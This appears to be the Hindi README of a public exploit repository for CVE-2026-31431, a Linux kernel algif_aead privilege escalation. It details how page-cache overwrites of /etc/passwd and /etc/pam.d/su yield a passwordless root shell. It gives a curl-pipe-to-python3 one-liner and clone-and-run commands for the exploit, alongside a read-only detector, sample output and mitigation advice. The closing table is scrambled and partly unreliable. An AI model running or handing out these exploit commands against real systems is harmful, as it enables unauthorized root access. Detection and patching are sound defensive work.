
CVE-2026-31431 के लिए Linux कर्नेल के algif_aead में स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) शोषण, जो page cache को अधिलेखित (overwrite) करने और root प्राप्त करने के लिए splice का उपयोग करता है। इसमें एक केवल-पठनीय (read-only) डिटेक्टर शामिल है।
CVE-2026-31431 लिनक्स कर्नेल के algif_aead सबसिस्टम में एक लोकल प्रिविलेज एस्केलेशन भेद्यता है। authencesn AEAD इम्प्लीमेंटेशन splice(2) के माध्यम से इन-प्लेस डिक्रिप्ट करता है, जो एक पेज-कैश पेज को डेस्टिनेशन स्कैटरलिस्ट में रखता है। AAD से एक 4-बाइट मान (seqno_lo) ऑथेंटिकेशन टैग सत्यापित होने से पहले उस पेज-कैश पेज में वापस लिखा जाता है — जिससे एक अनप्रिविलेज्ड उपयोगकर्ता किसी भी विश्व-पठनीय फ़ाइल के कर्नेल पेज कैश में मनमाने बाइट्स को अधिलेखित कर सकता है।
भेद्यता से प्रभावित: कर्नेल 4.14 (अगस्त 2017) — जब authencesn को algif_aead में पेश किया गया था
फिक्स जारी: केवल 6.12, 6.17, और 6.18 स्थिर शाखाओं के लिए
स्थायी रूप से अनपैच्ड: कर्नेल 4.14–6.11 (EOL; कोई बैकपोर्ट जारी नहीं किया जाएगा)
आवश्यक प्रिमिटिव: AF_ALG सॉकेट, authencesn(hmac(sha256),cbc(aes)) सिफर, AF_ALG सॉकेट fd में splice(2)
प्रभाव: रूट तक लोकल प्रिविलेज एस्केलेशन — पूरी तरह स्वचालित, कोई पासवर्ड आवश्यक नहीं
एक्सप्लॉइट क्रम में दो पेज-कैश पैच लागू करता है, फिर स्वचालित रूप से su निष्पादित करता है:
/etc/passwd पैच — फ़ाइल खोलता है (विश्व-पठनीय), उसका पेज कैश भरता है, फिर चालू उपयोगकर्ता के 4-अंकीय UID फ़ील्ड को 0000 में फ्लिप करने के लिए authencesn स्प्लाइस प्रिमिटिव का उपयोग करता है। पैच के बाद, getpwnam() उपयोगकर्ता को UID 0 के रूप में रिपोर्ट करता है।
/etc/pam.d/su पैच — pam_rootok.so और pam_permit.so दोनों ठीक 13 वर्ण लंबे हैं। दो 4-बाइट राइट PAM कॉन्फ़िग के पेज कैश में pam_rootok.so को pam_permit.so से बदल देते हैं। चूंकि pam_permit हमेशा PAM_SUCCESS लौटाता है, मौजूदा auth sufficient लाइन तुरंत फायर होती है — कोई पासवर्ड प्रॉम्प्ट जारी नहीं होता।
स्वचालित शेल — स्क्रिप्ट su <user> निष्पादित करती है। PAM बिना पासवर्ड के प्रमाणित करता है (चरण 2), फिर सफल होता है क्योंकि UID 0 रिपोर्ट करता है (चरण 1)। बिना किसी उपयोगकर्ता इंटरैक्शन के रूट शेल लौटाया जाता है।
किसी भी बिंदु पर कोई डिस्क राइट नहीं होता। पेज कैश ड्रॉप करना (echo 3 > /proc/sys/vm/drop_caches) या रीबूट करना दोनों पैच को पूरी तरह से पूर्ववत कर देता है।
केवल अधिकृत परीक्षण के लिए। केवल उन होस्ट पर चलाएं जिनके आप मालिक हैं या जिनका मूल्यांकन करने के लिए आपको स्पष्ट रूप से नियुक्त किया गया है।
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
रूट शेल स्वचालित रूप से लौटाया जाता है — कोई पासवर्ड आवश्यक नहीं।
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG सॉकेट समर्थन सक्षम (अधिकांश डिस्ट्रोस पर मानक)authencesn(hmac(sha256),cbc(aes)) लोड करने योग्य (अधिकांश डिस्ट्रोस पर मानक)test_cve_2026_31431.py इस रेपो में बंडल किया गया एक सुरक्षित, केवल-पठनीय डिटेक्टर है। यह एक अस्थायी निर्देशिका में बनाई गई एक फेंक-दूर सेंटिनल फ़ाइल के खिलाफ algif_aead स्प्लाइस प्रिमिटिव का परीक्षण करता है — किसी भी सिस्टम फ़ाइल को कभी नहीं छुआ जाता। यह एक निर्णय प्रिंट करता है और एक सुस्पष्ट कोड के साथ बाहर निकलता है:
| एग्ज़िट कोड | अर्थ |
|---|---|
0 | भेद्य नहीं — पूर्वशर्त पूरी नहीं हुई या पेज कैश संशोधित नहीं हुआ |
इसे चलाएं:
# एक-लाइनर (कोई इंस्टॉल आवश्यक नहीं)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# या स्थानीय क्लोन से
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
भेद्य कर्नेल पर उदाहरण आउटपुट:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
पैच्ड कर्नेल पर उदाहरण आउटपुट:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
/etc/modprobe.d के माध्यम से algif_aead को ब्लॉक करें: install algif_aead /bin/falseAF_ALG सॉकेट को प्रतिबंधित करें।net/tls + crypto/algif_aead — authencesn इन-प्लेस dst स्कैटरलिस्ट अलगावsetuid(0)getpwnam()1 |
परीक्षण त्रुटि (जैसे AF_ALG अनुपलब्ध, splice असमर्थित) |
2 | भेद्य — मार्कर बाइट्स स्प्लाइस्ड पेज-कैश पेज में पहुंच गए |